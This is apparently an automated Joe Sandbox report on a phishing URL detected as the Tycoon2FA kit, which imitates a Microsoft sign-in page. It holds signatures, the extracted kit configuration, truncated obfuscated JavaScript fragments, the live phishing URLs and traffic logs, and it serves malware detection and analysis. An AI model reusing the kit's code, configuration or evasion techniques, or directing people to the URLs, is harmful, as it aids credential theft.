Create Interactive Tour

Windows Analysis Report
https://b3rz.5m54lq.ru/A9y-e3M/

Overview

General Information

Sample URL:	https://b3rz.5m54lq.ru/A9y-e3M/
Analysis ID:	1644533
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2736 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 2304 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2052,i,525659408953119786,6796335026671855061,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2084 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6332 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://b3rz.5m54lq.ru/A9y-e3M/" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "otherweburl": "",
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "NZtx",
  "emailcheck": "0",
  "webname": "rtrim(/web9/, '/')",
  "urlo": "/qx3APPV8wLDVYwKk4WCMI6qD68lmbosuwXkSHAksMNgJVo4CS3fB7hx",
  "gdf": "/ij0rUe0MWsRxXP2xSdxu1rmGXyzD3ZUqA3GpQPuXUAXcd118"
}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_94	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
0.0.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.6..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.11..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.12..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.11..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.9.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.2.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.2.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.0.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.12..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.16.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
1.19..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.0.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.5.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.3.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.5.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.1.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.3.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 22 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 1.16.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"otherweburl": "", "websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "NZtx", "emailcheck": "0", "webname": "rtrim(/web9/, '/')", "urlo": "/qx3APPV8wLDVYwKk4WCMI6qD68lmbosuwXkSHAksMNgJVo4CS3fB7hx", "gdf": "/ij0rUe0MWsRxXP2xSdxu1rmGXyzD3ZUqA3GpQPuXUAXcd118"}

Phishing

AI detected phishing page

Source: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'b3rz.5m54lq.ru' does not match the legitimate domain for Microsoft., The URL uses a '.ru' domain extension, which is not typically associated with Microsoft., The URL contains random characters and does not resemble any known Microsoft subdomains or services., The presence of input fields for 'Email, phone, or Skype' is typical for phishing attempts targeting Microsoft accounts. DOM: 1.3.pages.csv
Source: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'b3rz.5m54lq.ru' does not match the legitimate domain for Microsoft., The URL uses a '.ru' domain extension, which is unusual for Microsoft and could indicate a phishing attempt., The URL contains random characters and does not resemble any known Microsoft subdomain or service., The presence of input fields for 'Email, phone, or Skype' is typical for phishing attempts targeting Microsoft accounts. DOM: 1.5.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.5.pages.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 0.0.d.script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 0.0.d.script.csv, type: HTML
Source: Yara match	File source: 1.19..script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_94, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 1.16.d.script.csv, type: HTML
Source: Yara match	File source: 0.6..script.csv, type: HTML
Source: Yara match	File source: 1.11..script.csv, type: HTML
Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 0.9.d.script.csv, type: HTML
Source: Yara match	File source: 0.2.d.script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 1.5.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.2.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting browser automation tools, blocking keyboard shortcuts, disabling right-click context menus, and redirecting the user to an external website. These behaviors are indicative of malicious intent and could be used to prevent the user from interacting with the page or to redirect them to a potentially malicious site.
Source: 1.11..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsr... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and aggressive DOM manipulation. It also attempts to detect and block common security tools and techniques, which is a strong indicator of malicious intent. The script redirects the user to an external domain and prevents common browser functionality like right-click context menus and copying text. Overall, this script demonstrates a high level of suspicion and risk.
Source: 0.7..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://b3rz.5m54lq.ru/A9y-e3M/... This script exhibits several high-risk behaviors, including dynamic code execution through the use of `atob()` and `String.fromCharCode()` to decode and execute obfuscated code, as well as potential data exfiltration by sending data to an unknown external domain. The heavy obfuscation and lack of transparency around the script's purpose further increase the risk score.
Source: 0.8..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://b3rz.5m54lq.ru/A9y-e3M/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of the `Function` constructor to execute a base64-encoded string, along with the presence of code that checks for the existence of web driver or headless browser environments, suggests malicious intent. Additionally, the script sets up an interval that triggers a redirect to Google.com after a certain time threshold, which is highly suspicious. Overall, this script exhibits a clear pattern of malicious behavior and poses a significant security risk.
Source: 0.0.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates high-risk behaviors, including dynamic code execution through the use of `eval()` and the potential for data exfiltration. The obfuscated code and the use of proxy objects further increase the risk. Overall, this script exhibits a high level of malicious intent and should be treated with caution.
Source: 0.9.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including disabling common keyboard shortcuts, preventing right-click context menus, and using a debugger trap to redirect the user to an external domain. These behaviors are highly suspicious and indicate potential malicious intent, such as preventing the user from accessing or interacting with the page normally. The script also checks for the presence of browser automation tools, which suggests an attempt to evade detection. Overall, this script poses a significant risk and should be treated with caution.
Source: 0.1..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://b3rz.5m54lq.ru/A9y-e3M/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` and `decodeURIComponent()` to decode and execute remote code is a clear indicator of malicious intent. Additionally, the script appears to be sending user data to an untrusted domain, which poses a significant risk of data theft or other malicious activities. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
Source: 1.12..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsr... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It attempts to detect the presence of web automation tools, redirects to a suspicious domain, and implements various keyboard and context menu event handlers to potentially interfere with user interactions. The combination of these malicious indicators suggests this script is likely intended for malicious purposes and poses a high risk.

Source: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC

HTTP Parser: Number of links: 0

Source: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://b3rz.5m54lq.ru/A9y-e3M/

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Tech Solutions - Innovating the Future</title> <style> body { font-family: Arial, sans-serif; ...

Source: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC

HTTP Parser: Title: Login With Account Security does not match URL

Source: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC	HTTP Parser: Invalid link: Terms of use
Source: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC	HTTP Parser: Invalid link: Privacy & cookies
Source: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC	HTTP Parser: Invalid link: Terms of use
Source: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC	HTTP Parser: Invalid link: Privacy & cookies

Source: https://b3rz.5m54lq.ru/A9y-e3M/	HTTP Parser: function dyqqqmaoyh(){woljzzmhyh = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+rwr1vmlzaw9uic0gvhjhbnnmb3jtaw5nievkdwnhdglvbjwvdgl0bgu+ciagphn0ewxlpgogicagym9kesb7ciagicagigzvbnqtzmftawx5oianu2vnb2ugvuknlcbuywhvbwesiedlbmv2yswgvmvyzgfuyswgc2fucy1zzxjpzjskicagicagbwfyz2luoiawowogicagicbwywrkaw5noiawowogicagicbiywnrz3jvdw5klwnvbg9yoiajzjlmowy5owogicagicbjb2xvcjogizmzmzskicagih0kicagighlywrlcib7ciagicagigjhy2tncm91bmq6igxpbmvhci1ncmfkawvudcgxmzvkzwcsicm2ytexy2isicmyntc1zmmpowogicagicbjb2xvcjogi2zmzjskicagicagcgfkzgluzzognjbwecaymhb4owogicagicb0zxh0lwfsawduoibjzw50zxi7ciagicb9ciagicbozwfkzxigadegewogicagicbtyxjnaw46ida7ciagicagigzvbnqtc2l6ztogm3jlbtskicagicagzm9udc13zwlnahq6igjvbgq7ciagicb9ciagicbozwfkzxigccb7ciagicagigzvbnqtc2l6ztogms4ycmvtowogicagicbtyxjnaw4tdg9woiaxmhb4owogicagfqogicagbmf2ihskicagicagymfja2dyb3vuzdogcmdiysgyntusidi1nswgmju1lcawljkpowogi...
Source: anonymous function	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "nztx";var emailcheck = "0";var webname = "rtrim(/web9/, '/')";var urlo = "/qx3appv8wldvywkk4wcmi6qd68lmbosuwxkshaksmngjvo4cs3fb7hx";var gdf = "/ij0rue0mwsrxxp2xsdxu1rmgxyzd3zuqa3gpqpuxuaxcd118";var odf = "/ijwqg9bfb7ftsgb2ozrwxjhv3dyn7nrbcw8l7ab648";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(useragent.match(/edg/i)){ ...

Source: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC

HTTP Parser: <input type="password" .../> found

Source: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC	HTTP Parser: No favicon
Source: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC	HTTP Parser: No favicon

Source: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC	HTTP Parser: No <meta name="author".. found
Source: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC	HTTP Parser: No <meta name="author".. found

Source: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC	HTTP Parser: No <meta name="copyright".. found
Source: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.81.228:443 -> 192.168.2.7:49689 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.141.81:443 -> 192.168.2.7:49691 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.141.81:443 -> 192.168.2.7:49690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.7:49695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.7:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.7:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.7:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.3.189:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.141.81:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.7:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.112.3:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.7:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.7:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.7:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.7:49775 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.215.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.98.62
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.215.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.98.62
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.215.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.98.62
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.99
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.99
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /A9y-e3M/ HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://b3rz.5m54lq.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://b3rz.5m54lq.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://b3rz.5m54lq.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiKo8sBCIWgzQEI9s/OAQiB1s4BCMnczgEIhODOAQii5M4BCK/kzgEI6eTOAQiD5c4BSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://b3rz.5m54lq.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
